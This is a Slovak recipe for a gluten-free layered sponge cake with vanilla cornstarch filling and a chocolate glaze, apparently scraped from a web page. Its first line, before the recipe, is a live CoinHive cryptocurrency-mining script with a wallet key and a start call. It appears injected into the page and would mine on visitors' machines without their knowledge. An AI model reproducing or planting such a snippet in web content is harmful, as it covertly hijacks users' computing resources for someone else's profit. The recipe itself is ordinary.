var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

8 vajec, 8PL práškový cukor, 2 PL bezlepkovej múky, 2 PL hladkej sójovej múky

Plnka: 6 dcl mlieka, 1 balíček vanilkového cukru, 5PL maizeny, 250g masla, 200g práškového cukru

Poleva: 100g varovej čokolády, 50g stuženého pokrmového tuku

Vymiešame žĺtky s práškových cukrom, pridáme sneh z bielkov, bezlepkovú múku a hladkú sójovú múku. Upečieme. Vychladnuté potrieme plnkou a polejeme čokoládovou polevou.

Plnka: V 3dcl mlieka rozmiešame maizenu a vanilkový cukor. Zmes vlejeme do 3dcl horúceho mlieka. Za stáleho miešania uvaríme hustú kašu. Vychladnuté postupne pridáme do masla vymiešaného s práškovým cukrom.

Poleva: Čokoládu a stužený tuk rozpustíme nad parou a dohladka vymiešame.